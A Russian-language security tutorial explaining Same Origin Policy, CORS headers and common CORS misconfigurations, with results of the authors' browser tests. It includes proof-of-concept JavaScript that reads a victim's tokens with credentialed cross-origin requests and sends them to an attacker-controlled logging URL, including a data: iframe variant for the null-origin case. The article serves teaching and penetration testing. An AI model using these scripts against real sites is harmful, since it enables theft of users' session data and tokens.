Курс на мисконфиги. Как поймать проблемный CORS на проде
В этой статье мы расскажем, как работает технология SOP, которая защищает твой браузер от вредоносных скриптов. Разберем основные виды мисконфигов и составим шпаргалки с разными случаями поведения CORS. В конце разберем пример и проверим работоспособность PoC.
SAME ORIGIN POLICY
SOP (Same Origin Policy) — это политика безопасности браузера, которая контролирует взаимодействие между сайтами. Она нужна для предотвращения кражи данных пользователя вредоносным скриптом.
До внедрения SOP, данные крали так:
- Атакующий заставляет жертву перейти на вредоносный сайт с уже подготовленным эксплоитом на JavaScript.
- Жертва перешла по ссылке, и от ее имени отправляется запрос на сайт, содержащий ее важные данные.
- Ответ от сайта читается скриптом и передается на сервер злоумышленника.
- Злоумышленник получает личные данные, которые может использовать для развития атаки.
Проблема в том, что когда браузер отправляет HTTP-запрос из одного источника в другой, cookie-файлы, относящиеся к другому домену, тоже отправляются в запросе. Это значит, что ответ будет сгенерирован в рамках сеанса пользователя и будет включать в себя доступные только ему данные. Чтобы предотвратить такое поведение и существует SOP.
Межсайтовые взаимодействия обычно делят на три категории:
- Межсайтовые записи. Как правило, допускаются. Это могут быть ссылки, редиректы, формы, отправка запросов через fetch и так далее. Некоторые «сложные» запросы требуют pre-flight (предварительного запроса) но об этом поговорим отдельно.
- Межсайтовое встраивание. Обычно разрешено. Например, для подгрузки ресурсов через теги
img
,video
,frame
и аналогичные им. - Межсайтовое чтение. Как правило, не допускаются, но доступ к чтению часто просачивается путем встраивания. Например, ты можешь прочитать ширину и высоту встроенного изображения, получить результат действия встроенного сценария или проверить доступность встроенного ресурса.
В качестве иллюстрации отправим несколько запросов со страницы http://discovery-lab.su/index.html
. Реакция SOP приведена в таблице ниже.
А вот схема, показывающая, из чего состоит заголовок Origin
.
CROSS-ORIGIN RESOURCE SHARING (CORS)
Раньше сайтам требовалось взаимодействовать друг с другом, но SOP блокировала множество таких запросов. Тогда люди придумали механизм CORS (Cross-Origin Resource Sharing), который предназначался для смягчения политики SOP.
Вот чуть более подробное описание из справки Mozilla:
«Cross-Origin Resource Sharing — механизм, использующий дополнительные HTTP-заголовки, чтобы дать возможность агенту пользователя получать разрешения на доступ к выбранным ресурсам с сервера на источнике (домене), отличном от того, что сайт использует в данный момент. Говорят, что агент пользователя делает запрос с другого источника (cross-origin HTTP request), если источник текущего документа отличается от запрашиваемого ресурса доменом, протоколом или портом».
Теперь давай разберемся с двумя заголовками, на которые предстоит чаще всего обращать внимание: Access-Control-Allow-Origin
и Access-Control-Allow-Credentials
.
Access-Control-Allow-Origin
Заголовок ответа Access-Control-Allow-Origin
показывает, с какого источника может быть доступен ответ сервера.
- Звездочка — говорит браузерам разрешать запрос любого происхождения для доступа к ресурсу (но только для запросов без учетных данных).
<domain>
— указывает одно происхождение, с которого можно получать ответ сервера.null
— указывает «нулевое» происхождение. Никогда не добавляй его в белый список! Происхождение для некоторых схем (data:
,file:
) и документы, доступные через песочницу, определяются как «нулевые».
Access-Control-Allow-Credentials
В зависимости от заголовков, межсайтовые запросы могут быть переданы без куки или заголовка авторизации. Впрочем, если задана настройка CORS Access-Control-Allow-Credentials: true
, то сервер может разрешить чтение ответа, когда передаются куки или заголовок авторизации.
Заметь, это несовместимо с Access-Control-Allow-Origin: *
.
Простые и сложные запросы
Простой запрос – это запрос, удовлетворяющий следующим условиям:
Любой другой запрос считается «сложным». Например, запрос с методом PUT
или с HTTP-заголовком API-Key
не будет соответствовать условиям.
Принципиальное отличие между простым и сложным запросами — в том, что простой запрос может быть сделан через <form>
или <script>
без каких‑то специальных методов.
Для сложного запроса мы можем использовать любой HTTP-метод: не только GET/POST
, но и PATCH
, DELETE
и другие.
Некоторое время назад никто не мог даже предположить, что веб‑страница способна делать такие запросы. Так что могут существовать веб‑сервисы, которые рассматривают нестандартный метод как сигнал «Это не браузер!» и учитывать это при проверке прав доступа. Чтобы избежать недопониманий, браузер не делает «сложные» запросы (которые нельзя было сделать в прошлом) сразу. Перед этим он посылает запрос pre-flight, спрашивая разрешения.
Запросы pre-flight
Запросы pre-flight использует метод OPTIONS
. У него нет тела, но есть три заголовка:
Если сервер согласен принимать такие запросы, то он должен ответить без тела, со статусом 200 и со следующими заголовками:
Кроме того, в заголовке Access-Control-Max-Age
может быть указано количество секунд, на которое нужно кешировать разрешения. Так что браузеру не придется посылать pre-flight для последующих запросов, если разрешение еще действует.
Вот, например, pre-flight запрос на применение метода PUT
и пользовательского заголовка Special-Request-Header
:
OPTIONS /data HTTP/1.1 Host: <some website> ... Origin: https://normal-website.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Special-Request-Header
Сервер может вернуть ответ, подобный следующему:
HTTP/1.1 204 No Content ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Methods: PUT, POST, OPTIONS Access-Control-Allow-Headers: Special-Request-Header Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240
ЧАСТЫЕ ОШИБКИ КОНФИГУРАЦИИ CORS
При эксплуатации мисконфигов CORS мы учитываем те же факторы, что и при CSRF-атаках, но дополнительно еще смотрим на заголовки Access-Control-Allow-Origin
и Access-Control-Allow-Credentials
. Если повезет, мы сможем прочитать ответ сервера, что невозможно при CSRF-атаках.
Разберем мисконфиги CORS, которые я встречал чаще всего:
Отражение Origin в ответном заголовке
Представь, что у тебя огромное приложение. Новые домены появляются каждый день, тебе нужно следить за всеми и своевременно добавлять их в список разрешенных доменов. Стоит упустить пару доменов, и что‑то сломается.
Чтобы избежать поломок, разработчики некоторых приложений идут по простому пути и разрешают доступ из любого другого домена. Один из способов сделать это — прочитать заголовок Origin
из запроса и включить в заголовок ответа. Например, рассмотрим приложение, которое получает следующий запрос:
GET /get-my-tokens HTTP/1.1 Host: vulnerable.discovery-lab.su Origin: https://malicious.su Cookie: sessionid= ...
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious.su Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Special-Request-Header Access-Control-Max-Age: 240 ...
В заголовках выше указано, что доступ разрешен из запрашивающего домена (malicious.su
) и что запросы между источниками могут включать файлы cookie и заголовки авторизации (Access-Control-Allow-Credentials: true
). Поэтому запросы будут обрабатываться в сеансе жертвы.
Поскольку приложение отображает произвольные источники в заголовке Access-Control-Allow-Origin
, абсолютно любой домен может получить доступ к ресурсам сайта из контролируемого домена от имени жертвы. Если ответ содержит конфиденциальную информацию вроде ключей API или токена CSRF, ты можешь получить ее, разместив на своем веб‑сервере вот такой скрипт:
var req = new XMLHttpRequest(); // 1req.onload = reqListener; // 2req.open('get','https://vulnerable.discovery-lab.su/get-my-tokens',true); // 3req.withCredentials = true; // 4req.send(); // 5function reqListener() { // 6 location='/log?key='+this.responseText;};
Давай разберем, как работает этот скрипт.
- Создаем новый объект
XMLHttpRequest
, который позволяет отправлять HTTP-запросы к серверу и получать ответы на них. - Устанавливаем обработчик события
onload
, который будет вызываться всякий раз, когда запрос завершится успешно. - Вызываем метод
open()
у объектаXMLHttpRequest
для открытия соединения с сервером, куда идет запрос на получение информации о деталях аккаунта. - Устанавливаем значение
true
для свойстваwithCredentials
объектаXMLHttpRequest
. Это свойство позволит отправлять и получать информацию о cookies между разными доменами при использовании CORS. - Вызываем метод
send()
объектаXMLHttpRequest
для отправки GET-запроса на сервер, указанный в параметреopen()
. - В функции
onload (reqListener())
обрабатывается ответ сервера. В параметрах GET-запроса строки заменяются на ответ сервера.
Заметь, переменной location
присваивается новое значение, что приведет к перенаправлению пользователя на новую страницу. Ответ, полученный ранее от сервера, передается параметром в функцию log
.
Значение null в белом списке
Иногда для удобства локального тестирования приложения разработчики добавляют происхождение null
в белый список. Эта оплошность позволяет злоумышленнику получить доступ к ресурсам сайта из контролируемого домена от имени жертвы.
Процесс эксплуатации и сам скрипт очень похожи на первый случай, но есть одно существенное отличие — запрос должен быть инициирован из схемы data:
или file:
.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:
text/html,<script>var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable.discovery-lab.su/get-my-tokens',true);
req.withCredentials = true;req.send();
function reqListener() {
location='malicious.discovery-lab.su/log?key='+this.responseText;};</script>"></iframe>
Ошибки парсинга заголовка Origin
Некоторые приложения, работающие с заголовком Origin
, используют парсинг на основе регулярных выражений. Рассмотрим пример и увидим импакт, который могут дать криво написанные регулярки. Отправим несколько запросов к сервису с разных источников.
Host: sub1.vulnerable.su HTTP/1.1 200 OK Access-Control-Allow-Origin: https://sub1.vulnerable.su Access-Control-Allow-Credentials: true
Host: somesub2.vulnerable.su HTTP/1.1 200 OK Access-Control-Allow-Origin: https://somesub2.vulnerable.su Access-Control-Allow-Credentials: true
Сайт, контролируемый злоумышленником (malicous.com
):
Host: malicous.com HTTP/1.1 200 OK
Из ответов выше можем выяснить, что доступ на чтение к ресурсу могут получить только его поддомены. Представим, что сайт использует регулярку [a-zA-Z0-9]*.vulnerable.com
для проверки принадлежности источника.
Если ты не знаком с синтаксисом RegEx, то представь, что страшная строка выше — это что‑то вроде маски, на соответствие которой проверяется строка (то есть домен). Здесь:
[a-zA-Z0-9]
— любая цифра или буква;- звездочка — сопоставляет идущее перед ней выражение от нуля до неограниченного количества раз, столько раз, сколько возможно;
- точка — cоответствует любому символу, включая символы Unicode (кроме символа конца строки);
vulnerable
иcom
— строчки, которые должны присутствовать в проверяемом тексте.
Итого совпадение будет в случае, если сначала идет какое‑то количество цифр и букв (может быть нулевым), потом любой символ, потом vulnerable
, снова любой символ и в конце строка com
.
Очевидно, что разработчик использовал точку, имея в виду именно символ точки, который бы отделял поддомен. В таком случае точку нужно было экранировать, поставив перед ней слэш (\.
), но об этом легко забыть, а приложение будет работать и с ошибкой.
Получается, что злоумышленник теперь может зарегистрировать домен maclicousvulnerable.com
и получить доступ к ресурсам сайта из контролируемого домена от имени жертвы.
В ПОИСКАХ МИСКОНФИГОВ
Теперь, когда мы полностью разобрались с механизмом работы CORS и его основными механизмами, приступим к поиску мисконфигов! Для этого мы создали небольшую лабораторию, где ты сможешь проверять работоспособность своих PoC. Код пока закрыт, но позже откроется, и ссылка станет доступна.
Мы отправляли запросы из трех браузеров:
Для упрощения тестирования мы создали три эндпоинта с разными настройками.
На каждый из эндпоинтов отправляли по запросу GET и POST из интерфейса лабы.
ТЕСТИРОВАНИЕ
В исследовании мы рассматривали шесть сценариев, в которых запрос страницы приводит к переходу на другой сайт.
На скриншоте — поведение CORS при отправке запросов с «неизвестного» источника https://lab.sidneyjob.ru
на источник https://discovery-lab.su
.
Поведение CORS при отправке запросов с источника https://discovery-lab.su:444
на источник https://discovery-lab.su:443
, у которых различается только порт.
Поведение CORS, когда при отправке запросов с http://discovery-lab.su
на https://discovery-lab.su
отличаются схемы источников.
Поведение CORS, когда при отправке запросов с https://l3.discovery-lab.su
на https://l3-2.discovery-lab.su
отличаются поддомены, но корневой домен остается тем же.
Поведение CORS, когда при отправке запросов с https://l4.l3.discovery-lab.su
на https://l3.discovery-lab.su
отличаются уровни поддоменов, то есть запросы идут с домена четвертого уровня на домен третьего уровня, но корневой домен остается тем же.
Поведение CORS, когда запросы идут с https://discovery-lab.su:443
на тот же источник https://discovery-lab.su:443
.
РЕЗУЛЬТАТЫ
Во всех проверенных браузерах CORS реализован одинаково. Впрочем, это не помешало нам найти интересные особенности поведения!
Если сайт использует самоподписанный, чужой или по какой‑то еще причине неверный сертификат, то при переходе на сайт браузер генерирует окно с предупреждением, отговаривая нас переходить на подозрительный ресурс.
Если жертва ни разу не заходила на подозрительный сайт с неверным сертификатом, а скрипт пытается сделать запрос к нему, то возникает вопрос, что же делать? Каждый из браузеров ответил по разному.
В Safari ни один запрос не будет доходить до сайта.
В Firefox первый запрос не пройдет, а последующие пройдут.
В Chromium пройдут все запросы без проверки паспорта.
ВЫВОДЫ
Итак, мы вспомнили, как работает SOP и CORS, посмотрели на возможные мисконфиги и способы их эксплуатации, провели несколько экспериментов и даже вспомнили, как работают регулярки! Если ты разработчик, старайся не допускать подобных оплошностей, а если пентестер, то помоги в этом разработчику!